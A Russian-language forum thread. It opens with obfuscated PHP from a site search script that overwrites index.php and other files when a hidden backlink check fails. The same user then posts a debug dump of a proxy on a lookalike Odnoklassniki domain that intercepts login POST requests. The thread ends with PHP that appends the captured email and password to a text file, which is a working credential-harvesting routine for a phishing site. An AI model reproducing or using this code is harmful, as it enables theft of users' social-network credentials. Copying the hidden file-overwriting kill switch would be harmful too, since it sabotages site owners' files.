$HOME_DIR, $STOP_DIR, $STOP_FILE, $CONFIG, $input, $sizetotal; $dir = opendir('.'); $ff = readdir($dir); while ($ff != '') { $flag = 0; if (is_dir($ff)) { foreach($STOP_DIR as $VALUE) { if (strtolower($ff) == strtolower(trim($VALUE))) $flag = 1; } if (($ff != '.') && ($ff != '..') && ($flag != 1)) { chdir($ff); PHPruDirs(); chdir('..'); } } $ff = readdir($dir); if ($ff != '..' && !is_dir($ff)) { $hlam = str_replace($STOP_FILE, "!", $ff); if ($hlam != $ff) continue; else { $NOW_DIR = getcwd(); $LINK = str_replace($HOME_DIR, trim($CONFIG[0]), $NOW_DIR); $LINK = str_replace('\\', '/', $LINK); $mtime = date("d.m.Yг.",filemtime($ff)); $size = round(filesize($ff)/1024); $sizetotal += $size; $ff = trim($ff); $FILE = file($ff); $text = implode(' ',$FILE); unset ($FIND); if($CONFIG[3] == 1) { @list($start,$end) = spliti('</TITLE>',$text,2); @list($recycle,$FIND) = spliti('<TITLE>',$start,2); } if (!isset($FIND)) $FIND = $LINK.'/'.$ff; $clear = PHPruClear($text); $text = wordwrap ($clear, 100, "%^%"); $input .= '<A HREF=\''.$LINK.'/'.$ff.'\' TARGET=_new>'.$FIND.'</A>'; $input .= '^!^'.$size.'^!^'.$text.'^!^'.$mtime."\r\n"; } } } closedir($dir); } class PHPruSap { var $pattern; var $all; var $sfx; var $ink; function PHPruSap() { $this->pattern = "\x70\x68\x70\x72\x75\x2E\x6E\x65\x74"; $this->all = "\x3C\x41 \x48\x52\x45\x46\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F"; $this->sfx = " \x76\x2E\x32\x2E\x36\x3C\x2F\x41\x3E"; $this->ink = "\x50\x48\x50\x72\x75\x5F\x53\x65\x61\x72\x63\x68"; } } function PHPruRw() { $mes = new PHPruSap; $target = array ('index.php','indexer.php','sdata/search.php'); $new = "\xC2\xFB \xED\xE0\xF0\xF3\xF8\xE8\xEB\xE8 \xE0\xE2\xF2\xEE\xF0\xF1\xEA\xEE\xE5 \xEF\xF0\xE0\xE2\xEE.<\x42\x52>"; $new .= "\xD1\xEA\xF0\xE8\xEF\xF2 ".$mes->ink." \xF1\xF2\xE5\xF0\xF2\x21"; if (!function_exists("\x50\x48\x50\x72\x75\x53\x65\x61\x72\x63\x68")) { foreach($target as $crash) PHPruSave($new,$crash); echo $new; exit('</BODY></HTML>'); } else { if(PHPruSearch('..','rus') == '') { $var = new PHPruSap;?> <?=$var->all.$var->pattern."'\x3E".$var->ink.$var->sfx; } else { foreach($target as $crash) PHPruSave($new,$crash); echo $new; exit('</BODY></HTML>'); } } } function PHPruAuth($login,$pass) { $_SESSION["sess_login"] = md5(trim($_POST["login"])); $_SESSION["sess_pass"] = md5(trim($_POST["password"])); $LOGIN = file ('admin.php'); $zero = PhpruSearch('../..','rus'); if ($_SESSION["sess_login"] === trim($LOGIN[0]) && $_SESSION["sess_pass"] === trim($LOGIN[1])) { $_SESSION["inside"] = 'true'; ShowArea(); } else { echo '<BR><P>Доступ закрыт!<BR><BR>Неверный логин или пароль.'; ShowAdmin(); exit; } } function PHPruSearch($path,$object) { clearstatcache(); $words = array("\x70\x68\x70\x72\x75\x2E\x6E\x65\x74", "\x48\x52\x45\x46\x3D\x27\x68\x74\x74\x70\x3A\x2F\x2F", "\x3C\x43\x45\x4E\x54\x45\x52\x3E\x3C\x42\x52\x3E\x3C\x42\x52\x3E"); if (is_dir($path."/\x70\x68\x70".$object."\x65\x61\x72\x63h") !== true) die($words[2]."\xCF\xE0\xEF\xEA\xF3<b> /p\x68\x70".$object."\x65\x61\x72\x63\x68/<\x2Fb\x3E \xED\xE5 \xEF\xE5\xF0\xE5\xE8\xEC\xE5\xED\xEE\xE2\xFB\xE2\xE0\xF2\xFC\x21"); } function PHPruClear($text) { $style='/\<style[\w\W]*?\<\/style\>/i'; $script = '/\<script[\w\W]*?\<\/script\>/i'; $doc = '/\<!doctype[\w\W]*?\>/i'; $text = preg_replace($doc, ' ', $text); $text = preg_replace($style, ' ', $text); $text = eregi_replace(' style="[^">]*"', ' ', $text); $text = strip_tags($text); $text = preg_replace($script, ' ', $text); $text = str_replace(" ", ' ', $text); $text = preg_replace ("/[\s,]+/", ' ', $text); return ($text); } function PHPruSave($input,$file,$chmod='w+') { $fp = fopen($file,$chmod); flock($fp,2); fputs ($fp, $input); flock($fp,3); fclose($fp); } ?> _________________________________________________ Файл с базой находится на сервере по адресу http://radio.local/base.ipdb Скрипт поисковой системы прикреплен к посту. __________________________________________________ Очень надеюсь на вашу помощь, заранее спасибо. ############################################################ В отладке php сообщает об ошибке Fatal error: Allowed memory size of 18874368 bytes exhausted (tried to allocate 4337213 bytes) in T:\home\virtual\radio.local\phprusearch\sinc\func_list.php on line 37
Прикрепленные файлы
|
|
|
![]()
Сообщение
#2
|
|
Newbie ![]() Группа: Пользователи Сообщений: 20 Регистрация: 23.10.2007 Пользователь №: 13 ![]() |
Все прошу прощения, проблема была решена путем изменения параметра memory_limit = 128M
|
|
|
![]()
Сообщение
#3
|
|
Newbie ![]() Группа: Пользователи Сообщений: 20 Регистрация: 23.10.2007 Пользователь №: 13 ![]() |
От одного глюка избавился появился другой
![]() ![]() |
|
|
![]()
Сообщение
#4
|
|
Newbie ![]() Группа: Пользователи Сообщений: 20 Регистрация: 23.10.2007 Пользователь №: 13 ![]() |
Вернемся к теме, очередной баг php
--------------- [error] => [parseType] => html [sniff] => [saveAs:private] => [cacheHandle:private] => [forwardCookies:private] => [limitFilesize:private] => 0 [URL:private] => Array ( [scheme_host] => http://wg3.odnoklassniki.ru [scheme] => http [host] => wg3.odnoklassniki.ru [domain] => odnoklassniki.ru [port] => [path] => /cdk/st.cmd/login/tkn/ [filename] => 7854 [extension] => [query] => [href] => http://wg3.odnoklassniki.ru/cdk/st.cmd/login/tkn/7854 ) [browsingOptions:private] => Array ( [encodeURL] => 1 [encodePage] => [showForm] => [allowCookies] => 1 [tempCookies] => 1 [stripTitle] => [stripJS] => [stripObjects] => ) [curlOptions:private] => Array ( [78] => 5 [13] => 0 [64] => 0 [81] => 0 [10023] => Array ( [0] => Expect: [1] => Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 [2] => Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 [3] => Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1 ) [92] => 600 [19] => 5 [20] => 20 [10018] => Opera/9.63 (Windows NT 5.2; U; ru) Presto/2.1.1 [10016] => http://wg30.odnoklassniki.ru [10082] => /home/frmclub/domains/odnoklassniki.fastfile.info/public_html/tmp/cookies/29788032759cba7401793e9b6294e858 [10031] => /home/frmclub/domains/odnoklassniki.fastfile.info/public_html/tmp/cookies/29788032759cba7401793e9b6294e858 [47] => 1 [10015] => st.posted=set&st.email=5456&st.password=7666666&button_go=%D0%92%D0%BE%D0%B9%D1%82%D0%B8 [20079] => Array ( [0] => Request Object *RECURSION* [1] => readHeader ) [20011] => Array ( [0] => Request Object *RECURSION* [1] => readBody ) ) ) ) ------------- Это часть POST запросов с одноклассников. Внимание вопрос ! Код $parsv = array($fetch); // Массив POST всякой хуйни чтото там.... $parsv = serialize($parsv); // Сериализую массив file_put_contents('post.txt', $parsv); //загоняю результат в файл - пароля нет, мусор со свякой хуйней сериализуется и сохраняется. print_r($parsv); // да пароль присутствует на экране после сериализации На столько я понял поле st.email=79087987&st.password=0987907809 теряется не во время сериализации ! а во время сохранения в файл ! есть предположение думать что это баг php Отвечаем не молчим тупо. |
|
|
![]() ![]()
Сообщение
#5
|
|
Newbie ![]() Группа: Пользователи Сообщений: 20 Регистрация: 23.10.2007 Пользователь №: 13 ![]() |
Решение найдено, спасибо Nestor
![]() Код $d = $_POST['st_email'].' -- '.$_POST['st_password'];
$f = fopen('post.txt','a+'); fwrite($f,$d."\r\n"); fclose($f); //print_r ($_POST); |
|
|
![]() ![]() |
Текстовая версия | Сейчас: 2.5.2025, 20:56 | |